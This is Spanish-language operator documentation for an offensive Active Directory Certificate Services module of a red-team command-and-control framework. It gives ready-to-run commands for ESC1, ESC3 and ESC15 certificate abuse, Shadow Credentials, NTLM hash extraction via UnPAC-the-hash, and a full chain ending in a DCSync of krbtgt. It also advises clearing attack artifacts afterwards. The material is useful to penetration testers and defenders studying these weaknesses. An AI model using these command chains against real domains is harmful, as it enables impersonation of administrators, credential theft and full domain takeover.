ADCS-BOF — Certificados AD
El módulo ADCS-BOF permite explotar configuraciones inseguras de Active Directory Certificate Services (AD CS). Incluye enumeración de CAs y plantillas, solicitud de certificados, autenticación con certificados (PKINIT) y el ataque Shadow Credentials.
Todos los comandos de este módulo se ejecutan bajo el prefijo certi.
Agentes compatibles: Beacon, Gopher, Kharon
Plataforma: Windows
certi enum
Enumera todas las Autoridades de Certificación (CA) y plantillas de certificados disponibles en el dominio.
Cuándo usarlo: Siempre como primer paso antes de cualquier ataque ADCS. La salida identifica plantillas con configuraciones vulnerables como:
- ESC1: Plantilla que permite especificar un Subject Alternative Name (SAN) arbitrario con derechos de enrollment para usuarios de bajo privilegio
- ESC3: Plantilla de Enrollment Agent que permite solicitar certificados en nombre de otros usuarios
- ESC4: ACLs inseguros en plantillas que permiten modificarlas
- ESC8: HTTP enrollment endpoint sin EPA (Extended Protection for Authentication)
- ESC15: Plantillas sin política de aplicación que permiten inyectar client authentication
certi enumNo requiere argumentos.
certi auth
Autentica con un certificado PFX usando el protocolo PKINIT y extrae el hash NTLM del usuario mediante la técnica UnPAC-the-hash.
Cuándo usarlo: Después de obtener un certificado (con certi request o certi shadow), usa este comando para convertirlo en un hash NTLM utilizable para pass-the-hash o para solicitar TGTs con kerbeus asktgt.
certi auth --pfx /tmp/admin_cert.pfx
certi auth --pfx /tmp/admin_cert.pfx --password CertPass123
certi auth --cert MIIMcAIBAzCCDCwG.... --dc DC01.corp.local
certi auth --pfx /tmp/cert.pfx --no-unpac| Argumento | Requerido | Descripción |
|---|---|---|
--cert | Sí* | Certificado PFX codificado en Base64 |
--pfx | Sí* | Archivo PFX del certificado |
--password | No | Contraseña del PFX |
--dc | No | Domain Controller (auto-detectado si no se especifica) |
--no-unpac | No | Solo obtener TGT, no extraer hash NTLM |
* Se debe especificar --cert o --pfx, no ambos.
certi request
Solicita un certificado a una CA. Este es el comando principal para explotar plantillas vulnerables.
Cuándo usarlo: Cuando certi enum ha revelado una plantilla vulnerable. Los escenarios más comunes:
ESC1 — SAN Injection
Si la plantilla permite especificar un Subject Alternative Name, puedes solicitar un certificado como otro usuario (por ejemplo, Administrator):
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --altname "CN=Administrator,CN=Users,DC=corp,DC=local"ESC1 con SID Extension
Para plantillas que usan la extensión SID en lugar de UPN:
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --alturl "tag:microsoft.com,2022-09-14:sid:S-1-5-21-xxx-500"ESC15 — Policy Injection
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --policySolicitud estándar
certi request --ca "cert.corp.local\CORP-CA"
certi request --ca "cert.corp.local\CORP-CA" --template User --install
certi request --ca "cert.corp.local\CORP-CA" --machine| Argumento | Requerido | Descripción |
|---|---|---|
--ca | Sí | Autoridad Certificadora (formato: host\CA-Name) |
--template | No | Nombre de la plantilla de certificado |
--subject | No | Distinguished Name del sujeto |
--altname | No | DN del sujeto alternativo (para ESC1) |
--alturl | No | URL del SAN (para SID extension en ESC1) |
--pfx-password | No | Contraseña para el PFX de salida |
--install | No | Instalar el certificado en el contexto actual |
--machine | No | Solicitar certificado de máquina en lugar de usuario |
--policy | No | Agregar política de aplicación (para ESC15) |
--dns | No | SAN como nombre DNS en lugar de UPN |
--pem | No | Salida en formato PEM en lugar de PFX |
certi request_on_behalf
Solicita un certificado en nombre de otro usuario utilizando un certificado de Enrollment Agent (explotación de ESC3).
Cuándo usarlo: Cuando tienes un certificado de Enrollment Agent (obtenido mediante una plantilla ESC3 Step 1) y una segunda plantilla permite la solicitud en nombre de terceros.
Cadena de ataque ESC3:
- Solicitar certificado de Enrollment Agent:
certi request --ca CA --template EnrollmentAgentTemplate - Usar ese certificado para solicitar como otro usuario:
certi request_on_behalf ... - Autenticar con el certificado obtenido:
certi auth --pfx resultado.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx --ea-password EAPass| Argumento | Requerido | Descripción |
|---|---|---|
--ca | Sí | Autoridad Certificadora |
--template | Sí | Nombre de la plantilla |
--target | Sí | Usuario objetivo (DOMINIO\usuario) |
--ea-pfx | Sí | Archivo PFX del certificado de Enrollment Agent |
--ea-password | No | Contraseña del PFX del EA |
--pfx-password | No | Contraseña para el PFX de salida |
--pem | No | Salida en formato PEM |
certi shadow
Ejecuta el ataque Shadow Credentials escribiendo el atributo msDS-KeyCredentialLink en un objeto de AD y generando un certificado para autenticación PKINIT.
Cuándo usarlo: Cuando tienes permisos de escritura sobre un objeto de AD (GenericAll, GenericWrite, o WriteProperty sobre msDS-KeyCredentialLink). Es una forma de persistencia o de escalar privilegios sin necesidad de plantillas ADCS vulnerables.
Cadena de ataque:
certi shadow --target victimUser→ Obtiene certificado PFXcerti auth --pfx certificado.pfx→ Convierte a hash NTLMkerbeus asktgt /user:victimUser /rc4:HASH /ptt→ Obtiene TGT
certi shadow --target Administrator
certi shadow --target svc_sql --domain corp.local
certi shadow --target Administrator --no-write
certi shadow --target old_user --clear| Argumento | Requerido | Descripción |
|---|---|---|
--target | Sí | sAMAccountName del objeto objetivo |
--domain | No | Nombre del dominio (auto-detectado) |
--no-write | No | Solo generar certificado, no escribir en AD |
--clear | No | Limpiar msDS-KeyCredentialLink existente (sin escribir uno nuevo) |
Importante: Usa
--cleardespués de terminar para limpiar los artefactos del ataque.
Cadena de explotación ADCS típica
1. certi enum → Identificar plantillas vulnerables
2. certi request --ca CA --template Vuln --altname Admin → Solicitar cert como Admin (ESC1)
3. certi auth --pfx admin_cert.pfx → Obtener hash NTLM de Admin
4. dcsync single CORP\krbtgt → DCSync con las credenciales obtenidas